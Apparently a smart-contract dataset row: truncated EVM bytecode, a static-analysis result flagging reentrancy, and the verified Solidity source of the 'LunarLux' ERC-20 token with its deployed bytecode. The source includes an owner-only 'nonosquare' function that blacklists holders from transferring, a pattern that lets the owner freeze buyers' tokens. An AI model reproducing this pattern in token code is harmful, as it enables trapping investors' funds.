fff1681526020019081526020016000209080519060200190610f109291906128b8565b505050565b610f43336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b1515610f4b57fe5b600460149054906101000a900460ff16151515610f6457fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a43373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561106857fe5b6110c3600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff16612683565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611124600054846fffffffffffffffffffffffffffffffff16612683565b600081905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460149054906101000a900460ff1681565b6111b9336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b15156111c157fe5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405160405180910390a250565b60006112898333846fffffffffffffffffffffffffffffffff16610d5c565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112e5336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b15156112ed57fe5b600460149054906101000a900460ff1615151561130657fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a43373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561140a57fe5b611465600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff1661269c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c6600054846fffffffffffffffffffffffffffffffff1661269c565b600081905550505050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115675780601f1061153c57610100808354040283529160200191611567565b820191906000526020600020905b81548152906001019060200180831161154a57829003601f168201915b505050505081565b6060600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506040519080825280602002602001820160405280156115e55781602001602082028038833980820191505090505b50925060009150600090505b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156117bc5742600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561168857fe5b90600052602060002090600202016001015410156117af57611746600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561172f57fe5b906000526020600020906002020160000154612683565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080838381518110151561179857fe5b906020019060200201818152505081806001019250505b80806001019150506115f1565b600090505b8181101561185a57600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838281518110151561181657fe5b9060200190602002015181548110151561182c57fe5b90600052602060002090600202016000808201600090556001820160009055505080806001019150506117c1565b505050565b6000600460149054906101000a900460ff1615151561187a57fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a461192f85856126b5565b9250505092915050565b611967336000357fffffffff0000000000000000000000000000000000000000000000000000000016611fb5565b151561196f57fe5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46000600460146101000a81548160ff0219169083151502179055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809150600090505b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611ba357600184148015611b22575042600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611b0e57fe5b906000526020600020906002020160010154115b15611b2c57611b96565b611b9382600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515611b7c57fe5b906000526020600020906002020160000154612683565b91505b8080600101915050611a6c565b819250505092915050565b6060600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c835780601f10611c5857610100808354040283529160200191611c83565b820191906000526020600020905b815481529060010190602001808311611c6657829003601f168201915b50505050509050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611d7457fe5b85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611dbf57fe5b60018410151515611dcc57fe5b4292508285111515611dda57fe5b611e23600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761269c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e79611e73868561269c565b85612889565b9150600190505b8381111515611f4757600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280611edd8988612889565b8152602001611ef542611ef0868861289f565b612683565b8152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508080600101915050611e80565b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a350505050505050565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ff45760019050612228565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120535760019050612228565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156120b35760009050612228565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b70096138430856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019350505050602060405180830381600087803b1580156121ea57600080fd5b505af11580156121fe573d6000803e3d6000fd5b505050506040513d602081101561221457600080fd5b810190808051906020019092919050505090505b92915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561236d57fe5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156123f557fe5b61247b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361269c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612544600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361269c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d0600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612683565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828284019150811015151561269657fe5b92915050565b600082828403915081111515156126af57fe5b92915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561270257fe5b61274b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361269c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d7600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612683565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818381151561289657fe5b04905092915050565b600082828402915081101515156128b257fe5b92915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106128f957805160ff1916838001178555612927565b82800160010185558215612927579182015b8281111561292657825182559160200191906001019061290b565b5b5090506129349190612938565b5090565b61295a91905b8082111561295657600081600090555060010161293e565b5090565b905600a165627a7a72305820b7f7005b68bff1fe70da066039c317cebdb80becd6bb40f5bdd4a5342bd5151e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,912 |
0x2d51a41be3e7324c2128afdf2e49ea465381e936
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
🌜Lunar Lux🌛
🌓With ever growing popularty of crypto world
we want to make it even more accessible🌓
ℹ️Lunar(' latin-Luna, "moon" ') and Lux (' latin-Lux, "light" ')
, with this combination of words we want to present our idea
of enlightenment dor "dark" world of crypto.
❗️Join us on our ride to greatness❗️
Tax: 8% Buy 8% Sell
🌜LunarLux Web: https://lunarlux.online/
🌜LunarLux Twitter: https://twitter.com/LunarLuxErc20
🌜LunarLux Telegram: https://t.me/lunarlux
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LunarLux is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "LunarLux";
string private constant _symbol = "LunarLux";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x4Ff77c452CE899658eFf5DFbd205F9cB69DcDf43);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f4c756e61724c7578000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4c756e61724c7578000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b56